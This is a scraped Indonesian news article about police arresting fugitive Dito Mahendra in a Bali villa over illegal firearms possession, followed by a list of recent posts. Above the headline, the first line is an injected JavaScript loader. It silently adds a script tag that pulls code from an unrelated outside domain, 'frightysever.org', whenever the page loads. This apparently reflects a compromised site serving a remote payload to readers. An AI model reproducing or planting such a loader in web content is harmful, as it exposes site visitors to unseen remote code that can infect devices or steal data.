(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Lagi Liburan di Bali, Buronan Dito Mahendra Diciduk Polisi


KANALKALIMANTAN.COM, JAKARTA – Buronan Polri kasus kepemilikan senjata api Mahendra Dito Sampurna alias Dito Mahendra ditangkap di sebuah vila di Badung, Bali, tepatnya di daerah Canggu.

Hal itu diungkap Direktur Tindak Pidana Umum (Dirtipidum) Bareskrim Polri, Brigjen Pol Djuhandhani Rahardjo Puro.

Penangkapan Dito dilakukan tim penyidik pada Kamis (7/9/2023) sekitar pukul 14.30 Wita. Pada saat penangkapan, Dito tengah menikmati liburan seorang diri di vila tersebut.

Namun, belum pasti kapan ia tiba di Bali, apakah sejak sebelum menjadi buronan atau baru-baru ini.

Baca juga: Luasan Terbakar di Kawasan Wisata Tahura Sultan Adam Belum Diketahui

“Lagi liburan,”demikian kata Djuhandhani di Markas Besar Polri, Jakarta, Jumat (8/9/2023).

Ketika dilakukan penangkapan, tim juga menemukan senjata api yang dilengkapi amunisi.

“Dalam proses penggeledahan, kami juga berhasil mengamankan senjata api, dan hari ini kami sedang melakukan pemeriksaan lebih lanjut,” imbuhnya.

Baca juga: Anak Perempuan Kelas 5 SD Tenggelam Meninggal Dunia di Sungai Tabuk

Meski Dito memiliki senjata api, Djuhadhani mengatakan tidak ada perlawanan yang dilakukan oleh Dito saat penangkapan. Setelah tertangkap, Dito segera dibawa ke Markas Besar Polri di Jakarta, dan saat ini resmi berstatus sebagai tahanan Bareskrim Polri.

Terhadap senjata api yang ditemukan, Djuhandhani mengungkapkan bahwa barang bukti tersebut telah diserahkan ke Pusat Laboratorium Forensik (Labfor) Polri untuk dilakukan analisis lebih lanjut, termasuk jenis senjata dan izin kepemilikannya. Djuhandhani memiliki dugaan kuat bahwa senjata api tersebut ilegal dan tidak memiliki izin sah.

Kasus kepemilikan senjata api ilegal ini terungkap saat KPK melakukan penggeledahan di rumah Dito Mahendra terkait kasus tindak pidana pencucian uang (TPPU) yang melibatkan mantan Sekretaris Mahkamah

Agung (MA), Nurhadi, 13 Maret 2023. Dalam penggeledahan tersebut, tim penyidik menemukan sebanyak 15 senjata api di rumah Dito Mahendra.

Baca juga: Baliho Prabowo-Gibran Tiba-tiba Muncul di Banjarmasin

Dito Mahendra ditetapkan tersangka berdasarkan hasil gelar perkara pada 17 April 2023. Ia disangkakan Pasal 1 ayat (1) Undang-Undang Nomor 12 Tahun 1951 tentang Kepemilikan Senjata Api. Karena tidak bersedia berkooperasi dengan panggilan penyidik Bareskrim, Dito Mahendra sempat masuk daftar pencarian orang (DPO).

Apabila terbukti bersalah, Dito Mahendra terancam hukuman mati atau hukuman penjara seumur hidup, atau hukuman penjara hingga 20 tahun. (Beritasatu.com/kk)

Editor : kk


Muhammad Andi

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

7 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

7 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

7 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

8 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

8 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

8 jam ago

This website uses cookies.